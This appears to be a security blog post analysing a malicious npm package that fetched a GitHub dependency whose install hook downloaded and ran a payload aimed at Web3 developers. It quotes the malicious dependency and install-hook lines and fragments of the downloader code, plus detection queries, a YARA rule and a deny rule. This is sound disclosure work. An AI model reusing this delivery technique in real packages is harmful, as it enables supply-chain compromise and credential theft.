By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog

web3-mev-error-decoder: a clean npm package that installs malicious payload from GitHub

An open source package called web3-mev-error-decoder was published to npm, the main public registry developers use to share JavaScript code. The package claimed to help developers make sense of error messages from blockchain transactions. That makes its likely audience developers building crypto trading tools, a group whose computers often hold wallet keys and other valuable credentials.

Written by
Peyton Kennedy
Peyton Kennedy
Published on
November 25, 2026
Updated on
November 25, 2026

The package itself contained almost nothing. Instead, it told npm to pull in a second piece of code directly from a GitHub account. When a developer installed the package, their computer quietly downloaded that code from GitHub and ran it automatically. According to the security advisory, that code unlocked hidden instructions, then downloaded and launched a program on Windows machines or ran a remote script on Macs. In practice, that gives an attacker the ability to run whatever they want on the developer's computer.

What makes this case notable is the misdirection. Two days earlier, the attacker published a clean package named multicall-error-decoder to the npm registry. Anyone checking the dependency by name, and any security scanner that only inspects packages stored on npm, would find a normal, legitimate library. The harmful code never appeared on npm at all.

GitHub published GHSA-hvqj-jrfw-r9mh on November 25 at 16:13 UTC, and npm replaced the package with a security holder one minute later. The exposure window was about 16 days. The GitHub account and the code it hosted have since been deleted, so the second-stage program it downloaded could not be recovered or analyzed.

If you installed web3-mev-error-decoder@0.1.0, treat the machine as compromised. Rotate every secret on it from a different machine.

Affected packages

Package Versions Role Status
npm web3-mev-error-decoder 0.1.0. The advisory covers all versions Declares the git dependency Published 2026-11-09 13:35 UTC. Replaced by 0.0.1-security on 2026-11-25 16:14 UTC. Do not use any version
GitHub outgoingyang/multicall-error-decoder Default branch at install time. Kitsunox resolved it to commit 240aa9b685e2 on 2026-11-12 Payload carrier, through its install hook Repository, commit and owning account all return 404
npm multicall-error-decoder 0.1.0 Clean decoy with the dependency's name Still live. Published by slimfituser, attacker-controlled

The 0.1.0 tarball of web3-mev-error-decoder is gone from the registry (404), and npm now owns the package. deps.dev reports no registry dependents, so exposure comes from direct installs.

Timeline

The decoy went up two days before the malicious package, and the malicious package was live for 16 days. Times are UTC.

Time (UTC) Event Basis
2026-11-25 16:14:01 npm publishes web3-mev-error-decoder@0.0.1-security. The npm account now owns the package npm registry, checked
2026-11-25 16:13:05 GHSA-hvqj-jrfw-r9mh and MAL-2026-20610 published, CWE-506 OSV record, checked
2026-11-22 to 24 2,933, 4,089 and 3,780 downloads per day npm downloads API, reported. Not rechecked
2026-11-12 Kitsunox resolves the git dependency to commit 240aa9b685e2 and records the install code Kitsunox proposal, checked
2026-11-12 298,324 downloads npm downloads API, reported. Not rechecked
2026-11-11 9,735,029 downloads in one day npm downloads API, reported. Almost certainly inflated (see Impact)
2026-11-09 122,290 downloads on the first day npm downloads API, reported. Not rechecked
2026-11-09 13:38:23 Kitsunox run 20261109T133823Z-npm picks up 0.1.0 and flags only its non-registry dependency, at MEDIUM Kitsunox decision 0020, checked
2026-11-09 13:35:00 web3-mev-error-decoder@0.1.0 published with the git dependency npm registry time record, checked
2026-11-07 09:45:20 multicall-error-decoder@0.1.0 published, a clean decoy with no install hooks npm registry and tarball, checked
2026-11-04 to 08 outgoingyang/solana-sniping-bot appears in GitHub trending snapshots for the nodejs and blockchain topics encoreshao/github-trending, checked
2026-11-02 20:59:59 outgoingyang/solana-sniping-bot created. Last push 21:20:38 the same day Repository metadata in the trending snapshots, checked

How it was delivered

The payload sat one hop away from the package anyone would inspect. web3-mev-error-decoder was purpose-built for this attack: the name had no history before November 9, and its tarball held nothing malicious, as the review below confirms. Its only job was this dependency, as recorded by Kitsunox:

"multicall-error-decoder": "github:outgoingyang/multicall-error-decoder"

A github: specifier tells npm to fetch the repository rather than a registry tarball. npm clones it, runs prepare (and the other git-only lifecycle scripts) when there is something to build, packs the result, installs that pack and then runs its preinstall, install and postinstall hooks. The repository's package.json carried this hook:

"install": "node dist/error-decoder/handlers.js"

The decoy closes the loop. A package called multicall-error-decoder exists on the npm registry, with a credible README and working code, so the dependency reads as an ordinary library on review. Registry-only scans pass it too.

The effect on detection is concrete. Kitsunox, the scanner that recorded this sample, at first raised a single MEDIUM finding on the non-registry specifier. Its deeper stages read the release's tarball and never saw the dependency's code. Kitsunox's maintainers added git-dependency resolution afterward, and the same release then scored 12 on the install hook and install-script findings.

The registry metadata from before the takedown names the publisher: npm account slimfituseless (pxu23197@gmail[.]com). The decoy came from slimfituser (fussmilana@gmail[.]com). Two accounts with near-identical names publishing the two halves of one attack points to a single operator.

Inside web3-mev-error-decoder@0.1.0

The package is the decoy's code with a new name, a rewritten README and one added dependency. I reviewed a copy of the 0.1.0 tarball that the registry no longer serves. Nothing from it was installed or run.

This copy is the tarball npm served. Its SHA-1 and SHA-512 match the shasum and integrity in the pre-takedown registry metadata, and npm's registry signature over that integrity value verifies against npm's current signing key, SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U. The metadata also records 72 files and the publish at 13:35:00 UTC on November 9. The tarball's SHA-256 is 05d193d87e03221b68cac57c7048c45c82cb55a43e9c56f600ca973add67c8ed.

  • The code is the decoy's. All 70 files under dist/, JavaScript, type definitions and source maps, are byte-identical to multicall-error-decoder@0.1.0. Only package.json and README.md differ.
  • Nothing runs on install. The scripts are the decoy's four (build, typecheck, test, smoke). There is no child_process, eval, crypto, filesystem, environment or network code anywhere in the tarball.
  • The dependency is never used. No file under dist/ imports multicall-error-decoder. The package declares it and never touches it. Its only effect is that npm installs it, and installing it is what runs the GitHub copy's install hook.
  • No provenance. The manifest has no repository field and declares the MIT license and node >=20.

The manifest change is a single block:

"dependencies": {
  "multicall-error-decoder": "github:outgoingyang/multicall-error-decoder"

}

The rest of the effort went into discovery. The manifest carries 49 keywords, including mev bot, sniper bot, arbitrage bot, trading bot and telegram bot. The README was rewritten for the same audience. It names MEV, sniper and arbitrage bots throughout, adds npm badges, and drops the decoy's acknowledgments of the projects its code was ported from.

The new README also describes code the package does not contain. It documents a Multicaller export, a timeoutMs option and an ErrorDecoder constructor that takes an options object. The real exports are multicall, a timeout option and a constructor that takes an array of interfaces. It advertises "zero runtime bloat" with only peer dependencies, in the same package that declares the runtime git dependency carrying the payload.

What the install code does

Everything known about stage 1 comes from Kitsunox's records of the repository at commit 240aa9b685e2. I could not fetch the code myself: the repository, that commit, the GitHub archive endpoint and the owning account all return 404, and our earlier search found no Wayback Machine or Software Heritage copy.

Kitsunox describes handlers.js as a downloader that decrypts its strings with AES at runtime, then branches by platform. On Windows it downloads an archive and starts the executable inside it. On macOS it pipes a remote script into the shell. Linux behavior is not described.

Its proposal records these lines in dist/error-decoder/handlers.js:

Line Behavior Recorded code
1 Process APIs import { spawn, execSync } from 'child_process'
172 String decryption crypto.createDecipheriv('aes-256-cbc', ...)
181 Payload download async function fetchPayload(url, dest)
182 Network globalThis.fetch
189 Write to disk fs.promises.writeFile(dest, buf)
361 Execute spawn(exe, [], { detached: true, ... })

Kitsunox also notes filesystem and OS-information use, consistent with the per-platform branching. The detached: true spawn lets the dropped executable outlive the npm install process.

The file name is part of the disguise. In the registry decoy, dist/error-decoder/handlers.js is a 130-line ethers v6 revert and panic decoder. The GitHub copy runs to at least 361 lines at the same path, so a reviewer comparing file lists between the two sees nothing out of place.

The AES key, the decrypted URLs and every later stage are unrecovered. Kitsunox's test fixture for this case reproduces the code's shape, but its own comment marks the values as inert placeholders, so it says nothing about the real key or IV.

The decoy

The registry copy of multicall-error-decoder@0.1.0 is clean. I pulled the tarball with lifecycle scripts disabled and reviewed all 72 files. Its job is to be believable.

  • No install-time execution. There are no lifecycle hooks. The scripts are build, typecheck, test and smoke, and the scripts/ directory that smoke calls is not in the tarball, so the author's working tree held more than the registry copy.
  • Nothing dangerous in the code. There is no child_process, eval or Function, no crypto, no filesystem or environment access and no fetch. The only URL in the JavaScript is the Multicall3 reference, https://github.com/mds1/multicall, and the only hardcoded address is the canonical Multicall3 deployment, 0xcA11bde05977b3631167028862bE2a173976CA11.
  • Side-effect free. The package is ESM with "files": ["dist"] and "sideEffects": false. Its only external imports are its ethers and viem peer dependencies.
  • Real utility. The README credits ports of ethers-decode-error (dethcrypto) and ethers-v6-fallback-provider (wighawag). The wallet helpers pass the caller's transaction to the signer unchanged, with no recipient swap, added approval or key access.
  • Few build traces. Source maps carry no sourcesContent, only relative ../../src/*.ts paths. The manifest has no gitHead and no repository field, and records Node 24.0.2 and npm 11.18.0.

The tarball's SHA-256 is 62405e794b8cb35d52589f783ffda8eb758e04263ab5aa6eef803a8a348457d9. The package is harmless to install. It is still attacker-controlled, and its publisher could ship a malicious version at any time.

A possible lure

This section is inference. The same GitHub account, outgoingyang (user ID 210461119), owned a repository called solana-sniping-bot, and a sniper bot that users clone and npm install fits the audience for an "MEV error decoder" well. I could not confirm that the bot depended on web3-mev-error-decoder, because the repository now returns 404.

The repository's recorded metadata is real and fits a promotion pattern. It was created on November 2 at 20:59 UTC and last pushed 21 minutes later. It showed 22 stars. It appears in the encoreshao/github-trending snapshots for both the nodejs and blockchain topics on November 4, 6, 7 and 8. The archive holds no snapshot for November 5. Its description is a string of search keywords:

solana sniper bot, raydium liquidity sniper, solana jito bundle sniper, raydium cpmm sniper bot, pump fun sniper bot, anti rugpull solana bot, orca whirlpool sniper bot

If the bot did pull in the package, real installs came from people cloning a trending repository, and npm search played little part.

Impact

The headline download number is almost certainly fake, and the real install count is probably in the low tens of thousands at most. npm's downloads API, as reported in our earlier pull, shows 10,167,449 downloads over 30 days. 9,735,029 of them land on a single day, November 11, against roughly 60 to 4,089 a day on every other day. I could not reach the downloads API from my environment to recheck these figures.

A spike that size on a two-week-old package reads as count inflation, used to make the package look established. The more useful figure is 11,218 downloads of 0.1.0 in the last week before takedown, and even that may include mirrors and scanners. deps.dev shows no registry dependents, so every install was a direct one.

The severity depends on whose machine ran the hook. These packages target Web3 and MEV developers, whose machines often hold hot-wallet keys, seed phrases, deployer keys and RPC credentials. On one of those machines a successful run can mean direct loss of funds. On a CI runner with no secrets it means an attacker-controlled executable on a build host. That framing is inference: stage 2 was never recovered, so its actual behavior is unknown.

Indicators of compromise

Packages and accounts

Indicator Type Notes
web3-mev-error-decoder, all versions npm package Malicious. Now an npm security holder
multicall-error-decoder npm package Clean decoy, attacker-controlled
slimfituser (fussmilana@gmail[.]com) npm user Publisher of the decoy
outgoingyang (ID 210461119) GitHub user Owner of the payload repository. Account now returns 404
github[.]com/outgoingyang/multicall-error-decoder Git repository Payload carrier, live before 2026-11-09
GHSA-hvqj-jrfw-r9mh, MAL-2026-20610 Advisory IDs Published 2026-11-25

Files

SHA-256 File Notes
62405e794b8cb35d52589f783ffda8eb758e04263ab5aa6eef803a8a348457d9 multicall-error-decoder-0.1.0.tgz Decoy tarball. Clean, attacker-controlled
94c7f60cb74218001cf7119b610522e153273c372cd12444c1fded2babdd3edd GHSA malware source record Recorded by the OSV entry for the GHSA source. It is not shown to be a tarball hash
05d193d87e03221b68cac57c7048c45c82cb55a43e9c56f600ca973add67c8ed web3-mev-error-decoder-0.1.0.tgz Removed from the registry and mirrors
Unknown dist/error-decoder/handlers.js, GitHub copy Stage 1

On the host

  • A node_modules/multicall-error-decoder/package.json that has an install script, with resolved pointing at github:outgoingyang/... or git+ssh://git@github.com/outgoingyang/multicall-error-decoder.git#<sha>. The registry decoy has no install script.
  • node dist/error-decoder/handlers.js spawned by npm during an install.
  • On Windows, an executable started from a freshly extracted archive. The path is unknown.
  • On macOS, sh or bash launched by a node parent with a remote script on stdin.

Not an indicator: 0.0.0-stage

Each package has a 0.0.0-stage version. On multicall-error-decoder it was published 76 seconds before 0.1.0, and npmmirror sync data put the one on web3-mev-error-decoder about a minute before its 0.1.0 as well. That timing invites a tradecraft reading, but the stubs do not support it. Both tarballs are identical registry stubs whose manifest reads "stub": true and "description": "Temporary package placeholder for staged publishing". On web3-mev-error-decoder, the registry now attributes the stub to the npm account, dated about a minute before the security holder. That points to npm's staged-publishing flow, and matching on it would flag legitimate packages.

Detection

Start with lockfiles, because they record the GitHub source even where the decoy shares the name. These queries find projects that resolved the package or the git dependency, and installed trees that hold either one:

# any project that resolved the package or the git dependency
grep -rlE '"web3-mev-error-decoder"|outgoingyang/multicall-error-decoder' --include=package-lock.json --include=npm-shrinkwrap.json --include=yarn.lock --include=pnpm-lock.yaml .
# installed trees
find / -path '*/node_modules/web3-mev-error-decoder/package.json' 2>/dev/null
find / -path '*/node_modules/multicall-error-decoder/package.json' -exec grep -l '"install"' {} + 2>/dev/null

The last query separates the two copies of multicall-error-decoder: the GitHub copy has an install script, and the registry decoy does not.

This YARA rule sweeps registry tarballs and node_modules for the manifest side. A stage-1 rule needs a sample.

rule npm_web3_mev_error_decoder_gitdep
{
  meta:
    description = "npm manifest pulling the outgoingyang/multicall-error-decoder git dependency"
    reference = "GHSA-hvqj-jrfw-r9mh"
  strings:
    $a = "outgoingyang/multicall-error-decoder" ascii
    $b = "web3-mev-error-decoder" ascii
  condition:
    $a or ($b and filesize < 20KB)
}

For EDR, look for node under an npm parent running dist/error-decoder/handlers.js, followed by sh or bash reading from a pipe on macOS, or a newly written executable under %TEMP% on Windows.

The broader lesson is for scanners. A tool that reads only the registry tarball of the top-level package misses this class of attack by construction. Resolve git, GitHub and URL dependencies, then scan the code npm will run: the install hooks, plus prepare and the other git-only lifecycle scripts for git sources.

Remediation

  1. Search. Run the lockfile and node_modules queries above across developer machines, CI runners and repositories.
  2. Treat any hit as compromised. GitHub's advisory is explicit: any computer that installed or ran the package should be considered fully compromised, and removing the package does not guarantee removing what it installed.
  3. Rotate from a clean machine. Move funds out of any wallet whose keys or seed phrase were on the host, then rotate deployer and signer keys, RPC and API keys, cloud and CI credentials, npm and GitHub tokens, SSH keys and browser sessions.
  4. Reimage. Stage 2 and any persistence are unknown, so cleaning in place cannot be verified.
  5. Block the source. Deny github:outgoingyang/* and the decoy multicall-error-decoder in registry proxies and package policy.
  6. Close the class. Consider npm config set ignore-scripts true as the default for local development, and require an allowlist for git dependencies.

MITRE ATT&CK mapping

Rows marked Reported depend on Kitsunox's description of stage 1. The others rest on artifacts I checked.

Technique Name Evidence
T1195.002 Supply Chain Compromise: Compromise Software Supply Chain Malicious npm package aimed at developers
T1036 Masquerading Same-name decoy on the registry, and the payload placed at a legitimate path, handlers.js
T1027 Obfuscated Files or Information AES-encrypted strings in stage 1. Reported
T1105 Ingress Tool Transfer Downloads an archive on Windows and a remote script on macOS. Reported
T1059.004 Command and Scripting Interpreter: Unix Shell Remote script piped to the shell on macOS. Reported
T1204.002 User Execution: Malicious File Executable launched from the downloaded archive on Windows. Reported

References